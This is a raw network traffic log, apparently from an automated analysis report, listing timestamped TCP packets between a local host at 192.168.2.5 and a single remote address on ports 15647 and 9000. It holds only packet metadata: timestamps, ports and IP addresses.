Oct 19, 2024 03:37:56.451776028 CEST	9000	49925	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.451822042 CEST	49925	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.452357054 CEST	9000	49932	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.452434063 CEST	49932	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.452511072 CEST	49932	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.454554081 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.457252026 CEST	9000	49932	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.492582083 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.540554047 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.541616917 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.586891890 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.598818064 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.603404045 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.608309984 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.649388075 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.664165020 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.669174910 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.700509071 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.711874008 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.759753942 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.759844065 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.808039904 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.808185101 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.858932018 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.859004021 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.863821030 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.869715929 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.898391962 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.931174994 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.945312977 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:56.978189945 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:56.992857933 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.026217937 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.042045116 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.074678898 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.086750984 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.119565964 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.163625956 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.164693117 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.210458994 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.210639000 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.214735031 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.219099045 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.262865067 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.264081955 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.264177084 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.281603098 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.286451101 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.337717056 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.342609882 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.352973938 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.355003119 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.355062008 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.355391979 CEST	9000	49932	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.397968054 CEST	49932	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.497524977 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.538702965 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.604074955 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.636430979 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.637662888 CEST	49932	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.638195992 CEST	49938	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.641812086 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.642787933 CEST	9000	49932	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.642843962 CEST	49932	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.642986059 CEST	9000	49938	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.643054962 CEST	49938	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.643186092 CEST	49938	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.647922993 CEST	9000	49938	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.694827080 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.698981047 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.746889114 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.747241974 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.752101898 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.813261986 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.818015099 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.868119955 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.872952938 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.904413939 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.914043903 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.958823919 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:57.961112976 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:57.965986967 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.007764101 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.012532949 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.013458014 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.048856020 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.049042940 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.054570913 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.106930017 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.107187986 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.111972094 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.134295940 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.148608923 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.180527925 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.195492983 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.230887890 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.242141008 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.276546001 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.289380074 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.324803114 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.335844994 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.373373032 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.385499001 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.420319080 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.430164099 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.461864948 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.476684093 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.511271954 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.523781061 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.537898064 CEST	9000	49938	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.556541920 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.570343018 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.585525036 CEST	49938	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.603120089 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.617244959 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.648150921 CEST	49938	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.648535013 CEST	49944	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.653253078 CEST	9000	49938	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.653327942 CEST	49938	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.653407097 CEST	9000	49944	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.653495073 CEST	49944	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.653592110 CEST	49944	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.655580997 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.658333063 CEST	9000	49944	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.666467905 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.700385094 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.711236954 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.950548887 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.950737000 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.950797081 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.950978994 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.950999975 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.951075077 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.951194048 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.977694988 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:58.977857113 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:58.992683887 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.028074026 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.039134979 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.086815119 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.086875916 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.092026949 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.133084059 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.138104916 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.179887056 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.184978962 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.219608068 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.233988047 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.259427071 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.273377895 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.305721998 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.320518017 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.353662014 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.367221117 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.399542093 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.414890051 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.446554899 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.461010933 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.490741968 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.508887053 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.540290117 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.551184893 CEST	9000	49944	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.555583000 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.584547997 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.590931892 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.591018915 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.601105928 CEST	49944	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.601649046 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.646817923 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.649106026 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.653991938 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.664782047 CEST	49944	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.665240049 CEST	49951	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.670244932 CEST	9000	49951	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.670268059 CEST	9000	49944	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.670315027 CEST	49951	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.670336008 CEST	49944	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.670429945 CEST	49951	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.675230026 CEST	9000	49951	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.681734085 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.684330940 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.684412956 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.695342064 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.735512972 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.742089987 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.790941954 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.791038990 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.796127081 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.822029114 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.826152086 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.826225042 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.836007118 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.886863947 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.886944056 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.891838074 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.915764093 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.941309929 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:59.961764097 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.970640898 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:59.970849037 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.003215075 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.054904938 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.057821989 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.074182987 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.079219103 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.100611925 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.106237888 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.106359959 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.131078005 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.178931952 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.179769039 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.184683084 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.208060026 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.250669956 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.250968933 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.341360092 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.382472038 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.392901897 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.422102928 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.446594954 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.461975098 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.514971972 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.515064001 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.520015955 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.525665998 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.549156904 CEST	9000	49951	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.558814049 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.601159096 CEST	49951	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.606883049 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.606976986 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.611939907 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.648613930 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.653631926 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.663932085 CEST	49951	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.664247990 CEST	49957	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.669148922 CEST	9000	49957	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.669282913 CEST	49957	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.669354916 CEST	9000	49951	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.669374943 CEST	49957	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.669414997 CEST	49951	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.674335003 CEST	9000	49957	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.690145969 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.695460081 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.746921062 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.746988058 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.751802921 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.781594038 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.789086103 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.825500011 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.837311029 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.873409986 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.883642912 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.915285110 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.935548067 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:00.966737032 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:00.976835966 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.013219118 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.023760080 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.055447102 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.070669889 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.099786997 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.114212036 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.114286900 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.117053032 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.162885904 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.166449070 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.171375036 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.197853088 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.210926056 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.243788004 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.258456945 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.258583069 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.304274082 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.306854963 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.306926966 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.311825991 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.337167978 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.351567984 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.382797003 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.387856007 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.387937069 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.398437023 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.450875044 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.450947046 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.455775023 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.477777004 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.492297888 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.521668911 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.527163982 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.527246952 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.539158106 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.555979967 CEST	9000	49957	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.586854935 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.586940050 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.591819048 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.601135015 CEST	49957	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.618313074 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.622137070 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.622226000 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.638231039 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.664138079 CEST	49957	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.664436102 CEST	49967	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.669315100 CEST	9000	49967	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.669399023 CEST	49967	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.669477940 CEST	49967	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.669666052 CEST	9000	49957	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.669735909 CEST	49957	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.671689987 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.674335957 CEST	9000	49967	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.681054115 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.726954937 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.727721930 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.732875109 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.758691072 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.762743950 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.762818098 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.773533106 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.823107958 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.823205948 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.828170061 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.853435040 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.867360115 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.904860973 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.914077044 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:38:01.947915077 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:38:01.961237907 CEST	49704	15647	192.168.2.5	213.109.202.97
